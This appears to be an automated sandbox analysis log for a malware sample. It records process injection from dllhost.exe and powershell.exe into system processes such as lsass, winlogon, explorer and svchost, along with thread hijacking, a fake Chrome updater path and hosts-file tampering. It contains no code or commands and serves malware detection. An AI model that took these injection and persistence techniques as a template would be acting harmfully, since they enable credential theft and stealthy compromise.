Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 7F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 6E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2890000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: EB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2FC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 27F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 13C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 7E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: A30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 740000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2820000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3030000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 700000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 1110000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2C90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2AF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: D60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2A20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2EB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: B60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 14A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2FB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3130000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2C30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 30F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 10B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 23D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2860000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2650000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2EF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 750000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 1620000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2B80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 15A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 8A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 24D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 12A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2110000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 6F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: BE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 25B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: F20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3070000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: E10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2980000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2EC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3110000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2910000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3140000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2D20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 730000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2CD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2730000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2AF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2360000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3030000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 13D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2FC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 1510000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 8B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: F70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 730000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 7E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F6E6AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 217D6390000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1D29E890000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28189530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 146F6AD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1BF4B840000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 208BF760000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 23B50E40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 23B50E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CCD9A60000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dllhost.exe

Memory written: PID: 4004 base: 86A0000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Thread register set: target process: 3084	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 3820	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Thread register set: target process: 5952	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Thread register set: target process: 6900	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Thread register set: target process: 2248	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 7080

Modifies the hosts file

Source: C:\Users\user\Desktop\egFMhHSlmf.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140007000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 10DAB2010	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016580000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F14E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E41FA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15B020000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA270000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA270000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA270000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA270000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA270000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA270000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA270000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA270000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA270000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA270000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA270000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F6E69A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F6E67F0000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140007000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 243975010
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016580000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F14E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E41FA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15B050000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23AF32B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23C9FD60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A1CA6E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 246ED7B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 200A1980000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22595FB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22E670C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FE4A4B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24C19A40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275D1FC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23BBDC90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 227D8FC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2DED2C70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14ACE6B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 220AEFD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241B6940000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 202A22A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D25AA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BD1A2F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A63950000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1834ABC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D8F03D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18BAF3C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 256EBEB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2568E1B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 226A7DC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 12A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2C0F50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2EE0D7C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22B68FC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA5B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1EBCE9B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 11CD6340000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AFDEB70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 207C0460000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 245A2150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24708EB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F60740000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26E569B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2CA8FE60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 1D63DC20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A799B20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F6963C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26481BB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 166D2D90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 128DE440000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2101D0E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 86A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 192D1E50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26DD2000000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 257155B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 16443E50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2C8A6FC0000
